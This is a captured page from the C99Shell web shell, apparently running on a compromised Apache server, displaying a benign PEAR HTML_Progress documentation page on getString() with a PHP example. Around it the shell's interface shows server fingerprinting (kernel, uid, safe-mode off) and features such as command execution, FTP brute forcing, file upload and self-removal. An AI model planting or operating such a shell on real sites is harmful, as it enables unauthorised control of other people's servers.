!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/lampp/lib/php/doc/HTML_Progress/docs/TDG/HTML_Progress/   drwxr-xr-x
Free 13.06 GB of 61.93 GB (21.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     tutorial_progress.getstring.pkg.html (8.55 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
HTML_Progress::getString
HTML_Progress
[ class tree: HTML_Progress ] [ index: HTML_Progress ] [ all elements ]
Prev Next
HTML_Progress::getString
returns the current value of the progress meter string

Synopsis

require_once 'HTML/Progress.php';

string HTML_Progress::getString()

Description

This method is used to retrieve the custom string attached to the progress meter.

By default, the progress meter displays the value returned by HTML_Progress::getPercentComplete() method formatted as a percent such as 33%.

Note

( HTML_Progress >= 1.0 )

This function can not be called statically.

See

HTML_Progress::setString, HTML_Progress::isStringPainted, HTML_Progress::setStringPainted

Example

Example below will produced a progress bar with a custom string.

  1. <?php
  2. require_once 'HTML/Progress.php';
  3.  
  4. $bar = new HTML_Progress();
  5. $bar->setValue(25);
  6. $bar->setStringPainted(true);
  7.  
  8. $ui =& $bar->getUI();
  9. $ui->setStringAttributes('width=350 align=left');
  10. ?>
  11. <html>
  12. <head>
  13. <title>getString example</title>
  14. <style type="text/css">
  15. <!--
  16. <?php echo $bar->getStyle(); ?>
  17. // -->
  18. </style>
  19. <script type="text/javascript">
  20. <!--
  21. <?php echo $bar->getScript(); ?>
  22. //-->
  23. </script>
  24. </head>
  25. <body>
  26.  
  27. <?php
  28. echo $bar->toHtml();
  29.  
  30. $val = $bar->getValue();
  31. $msg = "&nbsp; installing package ($val %) ... : Config";
  32. $bar->setString($msg);
  33.  
  34. $bar->display();
  35.  
  36. echo '<h1>Progress Meter Custom String</h1>';
  37. print($bar->getString());
  38. ?>
  39.  
  40. </body>
  41. </html>

Prev Up Next
HTML_Progress::setAnimSpeed Reference Guide HTML_Progress::setString

Documentation generated on Sun, 12 Sep 2004 20:23:05 +0200 by phpDocumentor 1.3.0RC3

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.5513 ]--